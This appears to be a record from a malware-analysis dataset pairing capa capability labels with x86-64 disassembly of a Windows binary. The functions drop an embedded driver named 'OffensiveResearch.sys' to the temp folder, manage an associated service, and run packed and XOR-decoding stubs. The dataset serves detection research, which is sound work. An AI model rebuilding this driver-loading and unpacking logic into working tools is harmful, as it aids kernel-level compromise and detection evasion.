joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002270
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
test rdx, rdx
je 0x1400023a0
push rbx
sub rsp, 0x70
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rcx, qword [rdx + 8]
xor eax, eax
mov dword [rsp + 0x58], eax
xorps xmm0, xmm0
mov dword [rsp + 0x30], eax
mov rbx, rdx
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
test rcx, rcx
je 0x1400022cd
cmp qword [rdx + 0x10], rax
jne 0x1400022cd
mov r8d, 0x10024
lea rdx, str.OffensiveResearch
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbx + 0x10], rax
cmp qword [rbx + 8], 0
je 0x14000234b
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000234b
lea r8, [rsp + 0x38]
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140002334
cmp dword [rsp + 0x3c], 1
je 0x140002341
nop dword [rax + rax]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbx + 0x10]
lea rax, [rsp + 0x30]
mov r9d, 0x24
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
cmp dword [rsp + 0x3c], 1
jne 0x140002300
jmp 0x140002341
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
jne 0x14000234b
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140002362
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rbx + 0x10], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140002379
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rbx + 8], 0
mov rcx, rbx
call fcn.140002e50
mov edx, 0x18
mov rcx, rbx
call fcn.14000e05c
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14000e000
add rsp, 0x70
pop rbx
ret
Function at 0x1400023b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r14, rcx
mov qword [rsp + 0x68], rcx
xor ebp, ebp
mov ecx, 0x18
call fcn.14000e020
mov rsi, rax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], rax
mov ecx, 0x40
call fcn.14000e020
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
mov rcx, rax
call fcn.1400025d0
mov rbx, rax
mov qword [rsp + 0x68], rbp
lea rcx, [rsp + 0x68]
call fcn.140002e50
mov qword [rsp + 0x68], rbp
mov qword [rsi], rbx
lea rcx, [rsp + 0x68]
call fcn.140002e50
mov qword [rsi + 8], rbp
mov qword [rsi + 0x10], rbp
mov rdi, qword [rsi]
mov dword [rsp + 0x68], ebp
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140002465
mov rcx, qword [rdi]
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
mov r8d, 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000251d
mov rdx, qword [rdi + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x68]
mov rdx, qword [rdi + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
test eax, eax
je 0x140002516
mov byte [rdi + 0x38], 1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsi + 8], rax
test rax, rax
je 0x14000252a
mov qword [r14], rsi
mov rax, r14
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14000e000
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x14000254d
jmp 0x1400024d2
lea rdx, str.Failed_to_open_service_manager
lea rcx, [rsp + 0x48]
call fcn.140001750
lea rdx, [0x140040d60]
lea rcx, [rsp + 0x48]
call fcn.14000fed0
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Getlasterror:__d_n
call fcn.140001600
lea rdx, str.Failed_to_dump_data_blob_to_disk
lea rcx, [rsp + 0x48]
call fcn.140001750
lea rdx, [0x140040d60]
lea rcx, [rsp + 0x48]
call fcn.14000fed0
int3
Function at 0x1400025d0
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x50
mov rdi, rcx
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
xor ebx, ebx
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], 7
mov word [rcx], bx
mov qword [rcx + 0x20], rbx
mov qword [rcx + 0x28], rbx
mov qword [rcx + 0x30], rbx
mov byte [rcx + 0x38], bl
mov word [rsp + 0x20], bx
mov r9d, 0x104
xor r8d, r8d
mov edx, r9d
call fcn.140002c90
mov rdx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140002633
mov rdx, qword [rdi]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [rax - 1]
cmp ecx, 0x103
ja 0x1400027b8
mov esi, eax
xor r8d, r8d
mov edx, eax
mov rcx, rdi
call fcn.140002850
mov r8, qword [rdi + 0x10]
cmp r8, rsi
jb 0x1400027db
mov rcx, qword [rdi + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x15
jb 0x140002709
lea rax, [r8 + 0x15]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rcx, 7
jbe 0x140002691
mov rax, qword [rdi]
lea rbp, [rax + rsi*2]
lea rcx, [0x14003b72a]
lea r14, str.OffensiveResearch.sys
cmp rcx, rbp
jbe 0x1400026c1
lea rax, [rax + r8*2]
cmp r14, rax
ja 0x1400026c1
cmp rbp, r14
jbe 0x1400026c6
mov rbx, rbp
sub rbx, r14
sar rbx, 1
jmp 0x1400026c6
mov ebx, 0x15
lea rcx, [rbp + 0x2a]
sub r8, rsi
lea r8, [r8*2 + 2]
mov rdx, rbp
call fcn.14002df20
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rbp
call fcn.14002df20
lea rcx, [rbx + rbp]
mov r8d, 0x2a
sub r8, rbx
lea rdx, [r14 + 0x2a]
add rdx, rbx
call fcn.14002df20
jmp 0x140002720
mov ebx, 0x15
mov qword [rsp + 0x28], rbx
mov r9, rsi
mov edx, ebx
mov rcx, rdi
call fcn.140002aa0
lea r8, str.INTELPMX
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140002795
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rdi + 0x28], rax
test rax, rax
je 0x140002827
mov rdx, qword [rdi + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x140002804
mov rcx, qword [rdi + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rdi + 0x30], rax
test rax, rax
je 0x1400027e1
mov rax, rdi
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
lea rdx, str.The_resources_handle_is_null
lea rcx, [rsp + 0x30]
call fcn.140001750
lea rdx, [0x140040d60]
lea rcx, [rsp + 0x30]
call fcn.14000fed0
int3
lea rdx, str.The_name_size_returned_is_greater_than_MAX_PATH_or_is_NULL
lea rcx, [rsp + 0x30]
call fcn.140001750
lea rdx, [0x140040d60]
lea rcx, [rsp + 0x30]
call fcn.14000fed0
int3
call fcn.140002a80
int3
lea rdx, str.The_data_blob_is_null
lea rcx, [rsp + 0x30]
call fcn.140001750
lea rdx, [0x140040d60]
lea rcx, [rsp + 0x30]
call fcn.14000fed0
int3
lea rdx, str.The_size_of_the_resources_is_null
lea rcx, [rsp + 0x30]
call fcn.140001750
lea rdx, [0x140040d60]
lea rcx, [rsp + 0x30]
call fcn.14000fed0
int3
lea rdx, str.The_global_handle_is_null
lea rcx, [rsp + 0x30]
call fcn.140001750
lea rdx, [0x140040d60]
lea rcx, [rsp + 0x30]
call fcn.14000fed0
int3
Function at 0x140002e50
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [rcx]
test rbx, rbx
je 0x140002f02
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140002e75
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp byte [rbx + 0x38], 0
je 0x140002e8e
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140002e88
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp qword [rbx + 0x10], rdi
je 0x140002eaa
mov qword [rbx + 0x10], rdi
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140002ea7
mov rax, qword [rbx]
mov word [rax], di
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x140002ee5
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140002ee0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002f0d
mov rcx, r8
call fcn.14000e05c
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
mov edx, 0x40
mov rcx, rbx
call fcn.14000e05c
nop
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
call fcn.140013e54
int3

Function at 0x14000b51c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000b54a
xor eax, eax
jmp 0x14000b630
cmp qword [rcx + 0x68], 0
je 0x14000b55b
call fcn.14000b64c
jmp 0x14000b630
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000b572
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000b574
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000b5a6
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14002df20
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000b62a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000b5dd
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000b606
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.140018188
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000b62a
cmp rsi, rbx
ja 0x14000b5e4
test rsi, rsi
je 0x14000b62a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140018188
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14000ee84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000eece
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000eece
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000eece
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000eece
cmp dword [rcx + 0x84], 0xe
jbe 0x14000eece
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000eed0
xor al, al
add rsp, 0x28
ret
Function at 0x14001b620
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001b68f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001b68f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001b68f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001b68f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001b68f
cmp dword [rcx + 0x84], 0xe
jbe 0x14001b68f
cmp dword [rcx + 0xf8], 0
je 0x14001b68f
mov ecx, ebx
call fcn.14001b740
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001b51c
nop
cmp dword [rbp + 0x20], 0
je 0x14001b6dd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001b6e8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001b620

Function at 0x14001b824
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001b620
Function at 0x140022af8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000e930
sub rsp, rax
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400208ec
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140022b47
mov rax, rbp
jmp 0x140022c4f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x449a0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140023de0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x449a0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140022c4b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140022c4b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140023de0
test rax, rax
js 0x140022c4b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140022c4b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140022c3d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140022c3d
cmp byte [rcx], 0xd
jne 0x140022c23
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140022c32
cmp byte [rcx + 1], 0xa
jne 0x140022c32
inc rcx
jmp 0x140022c32
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x42480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140022c05
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140022c4f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000e000
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140022f6c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140022f82
mov al, 1
jmp 0x140022fe2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140022f93
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140022fe0
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400273a8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140022fe0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140022fe0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140022fe0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140022fe2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140023180
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400449a0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400231d7
cmp word [rdx], r13w
jne 0x1400231d7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400231dc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140023301
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140023322
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140023215
mov rdx, r9
mov word [rbx], cx
jmp 0x14002323c
cmp r9, r8
jae 0x14002324c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400231f6
jmp 0x140023301
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400232f6
cmp dword [rsp + 0x80], esi
je 0x1400232f6
lea r8, [0x1400449a0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400232ce
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14002329e
mov word [rbx], r13w
jmp 0x1400232fe
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400232ab
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400232fe
cmp word [rsp + 0x70], r13w
jne 0x1400232db
cmp rbx, r14
je 0x140023298
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140023de8
cmp word [rsp + 0x70], r13w
je 0x140023301
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400449a0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400232fb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140023301
Function at 0x140026ba0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140026c27
mov rsi, rbx
cmp word [rax], bp
je 0x140026be6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140026bd0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140026bcc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001f558
mov rdi, rax
test rax, rax
je 0x140026c14
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14002df20
mov rbp, rdi
xor ecx, ecx
call fcn.14001e7a8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400298fc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001e3d0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002999d
cmp ebx, dword [rsp + 0x30]
je 0x140029996
test esi, esi
je 0x140029996
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140029971
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14002997e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14002995b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140029982
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002999f
mov eax, 1
jmp 0x14002999f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14002db50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002db78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002db78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140072fa0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140072fad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140072fbd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140072fa5
lea eax, [rcx + 1]
jmp 0x140072fcb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140072fde
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140072fc4
sub eax, 3
jb 0x140072ffe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14007304d
sar eax, 1
movsxd rbp, eax
jb 0x140073034
jmp 0x14007300c
add ebx, ebx
jne 0x14007300a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140073034
inc ecx
add ebx, ebx
jne 0x14007301a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140073034
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14007302d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14007301c
add ecx, 2
jmp 0x140073039
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140072f62
jmp 0x140072fad
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x49600
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140073099
cmp rsi, rcx
jae 0x1400730a1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140073080
cmp al, 0x8f
ja 0x140073080
cmp byte [rsi - 2], 0xf
je 0x140073086
sub al, 0xe8
cmp al, 1
ja 0x14007306a
cmp rsi, rcx
jae 0x1400730a1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140073070
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400730a1
lodsb al, byte [rsi]
jmp 0x140073080
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x6f000]
mov eax, dword [rdi]
or eax, eax
je 0x1400730fe
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x7349c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400730ae
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400730f8
mov qword [rbx], rax
add rbx, 8
jmp 0x1400730ce
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140073138
cmp al, 0xef
ja 0x14007312a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14007310a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140073119
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14007318c
sub rsp, 0xffffffffffffff80
jmp 0x14002dafc
Function at 0x1406b4c00
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword gs:[0x60]
movabs r11, 0x6b4c70
movabs r10, 0x6b4c74
mov r9, qword [rax + 0x10]
xor eax, eax
movsxd rcx, dword [r9 + 0x3c]
movsxd r11, dword [r9 + r11]
add rcx, r9
mov r10d, dword [r9 + r10]
movzx r8d, word [rcx + 0x14]
add r8, rcx
cmp dword [r8 + 0x20], eax
jbe 0x1406b4c66
mov edx, eax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 0x24]
inc eax
add rcx, rdx
inc rdx
xor byte [rcx + r9], r10b
cmp eax, dword [r8 + 0x20]
jb 0x1406b4c50
lea rax, [r9 + r11]
jmp rax
Function at 0x140003550
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x1400420c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbx, rcx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000362e
lea rdx, [rsp + 0x20]
